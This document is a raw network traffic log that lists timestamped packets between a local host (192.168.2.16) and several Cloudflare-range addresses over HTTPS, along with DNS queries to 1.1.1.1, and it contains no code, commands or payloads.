Oct 24, 2024 00:26:49.234179020 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234257936 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234287977 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234294891 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234306097 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234307051 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234314919 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234359980 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234412909 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234463930 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234489918 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234524012 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234534979 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234543085 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234555960 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234566927 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234571934 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234576941 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234579086 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234582901 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234590054 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234595060 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234600067 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234605074 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234632969 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234652996 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234690905 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234716892 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234725952 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234734058 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234741926 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234746933 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234757900 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234767914 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234781027 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234837055 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234973907 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.234973907 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.235018015 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.235063076 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.235358000 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.235415936 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.235464096 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.235500097 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.242033958 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.271018982 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.355480909 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362345934 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362354040 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362396955 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362406015 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362411976 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362426043 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362453938 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362459898 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362467051 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362473011 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362488031 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362492085 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362498045 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362524033 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362567902 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362575054 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362581968 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362587929 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362601042 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362607956 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362615108 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362620115 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362628937 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362637997 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.362643003 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.362708092 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.362762928 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.362796068 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.362853050 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.362956047 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.362970114 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.363019943 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.363078117 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.363132000 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.363187075 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.366085052 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.366127014 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.366133928 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.366173983 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.366395950 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.366404057 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.366417885 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.366650105 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.366652012 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.366789103 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367103100 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367170095 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367176056 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367188931 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367196083 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367259026 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367264986 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367278099 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367281914 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367295027 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367301941 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367337942 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367351055 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.367356062 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367363930 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367371082 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367377043 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367383003 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367388010 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.367391109 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367398977 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367405891 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367418051 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367444992 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367466927 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367474079 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367486954 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367501974 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.367511034 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367518902 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367532015 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.367561102 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.367779016 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.367974043 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.367988110 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.397485018 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.431052923 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.489125013 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489202976 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489450932 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489844084 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489850998 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489862919 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489870071 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489881039 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489907026 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489917994 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489923954 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489928961 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489937067 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489948034 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489954948 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489968061 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.489986897 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490000963 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490008116 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490012884 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490030050 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490036011 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490041971 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490047932 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490058899 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490066051 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490072012 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490077972 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490084887 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490091085 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490098000 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490184069 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490190029 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490204096 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490210056 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490216017 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490222931 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490228891 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490235090 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490241051 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490247965 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490314960 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490329981 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.490564108 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.490756989 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.491255999 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.491427898 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.491605043 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.492038965 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.493091106 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493098021 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493227959 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493362904 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493411064 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493417025 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493531942 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493539095 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493551016 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493557930 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493566990 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493638992 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493645906 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493658066 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493666887 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493678093 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493684053 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493690968 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493712902 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.493737936 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.494312048 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.494489908 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.494580030 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.494647980 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.494654894 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.494750023 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.494750977 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.494812965 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495001078 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.495011091 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495055914 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495062113 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495069981 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495080948 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495088100 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495117903 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495138884 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.495138884 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.495383024 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495398045 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495412111 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495418072 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495482922 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495493889 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495517015 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495523930 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495531082 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495553017 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495568991 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495578051 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495618105 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495624065 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495697975 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495704889 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495723963 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495748997 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495757103 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495764017 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495770931 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495779037 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.495790005 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.496653080 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.496738911 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.496850967 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.497045040 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.497112989 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.497158051 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.526278019 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.623187065 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:52.627511978 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:52.627729893 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:52.754245043 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:52.755534887 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:52.756109953 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:52.772558928 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:52.772813082 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:32.628885984 CEST	138	138	192.168.2.16	192.168.2.255
Oct 24, 2024 00:27:40.402115107 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:40.402273893 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:40.402628899 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:40.402710915 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.000807047 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.001758099 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.038218975 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.127466917 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.127479076 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.127489090 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.127496958 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.127952099 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.128067017 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.422286987 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.422363043 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.422971010 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.423012018 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.433052063 CEST	53	54477	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:41.433960915 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.438077927 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.522519112 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.522978067 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.550052881 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.550067902 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.550076962 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.550448895 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.550532103 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.562693119 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.563858986 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.566138029 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.568284035 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.568588018 CEST	59499	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.651024103 CEST	443	59499	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:48.097263098 CEST	53	61812	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:48.126389980 CEST	53	51119	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:48.205003977 CEST	60995	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:27:48.205473900 CEST	56157	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:27:48.212424994 CEST	53	60995	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:48.213198900 CEST	53	56157	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:49.504319906 CEST	53	55414	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:53.002798080 CEST	65232	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:27:53.002944946 CEST	57498	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:27:53.010159969 CEST	53	59023	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:53.011993885 CEST	53	65232	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:53.013011932 CEST	53	57498	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:54.000883102 CEST	55464	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:27:54.001143932 CEST	60307	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:27:54.008107901 CEST	53	55464	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:54.008877039 CEST	53	60307	1.1.1.1	192.168.2.16
Oct 24, 2024 00:27:56.432307005 CEST	53	50894	1.1.1.1	192.168.2.16
Oct 24, 2024 00:28:00.707822084 CEST	53	52043	1.1.1.1	192.168.2.16
Oct 24, 2024 00:28:15.340322971 CEST	53	50159	1.1.1.1	192.168.2.16
Oct 24, 2024 00:28:38.286904097 CEST	53	62230	1.1.1.1	192.168.2.16
Oct 24, 2024 00:28:45.300869942 CEST	65012	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:28:45.300961971 CEST	63568	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:28:45.310610056 CEST	53	63568	1.1.1.1	192.168.2.16
Oct 24, 2024 00:28:45.310636997 CEST	53	65012	1.1.1.1	192.168.2.16
Oct 24, 2024 00:28:45.311914921 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.312091112 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.312386990 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.312459946 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.762535095 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.919682026 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:45.919719934 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:45.919730902 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:45.919743061 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:45.919754028 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:45.920416117 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.920528889 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.920562983 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.920598984 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:45.920639992 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:46.049216986 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:46.049511909 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:46.049743891 CEST	57253	443	192.168.2.16	162.159.61.3
Oct 24, 2024 00:28:46.180032015 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:46.180954933 CEST	443	57253	162.159.61.3	192.168.2.16
Oct 24, 2024 00:28:46.181333065 CEST	443	57253	162.159.61.3	192.168.2.16
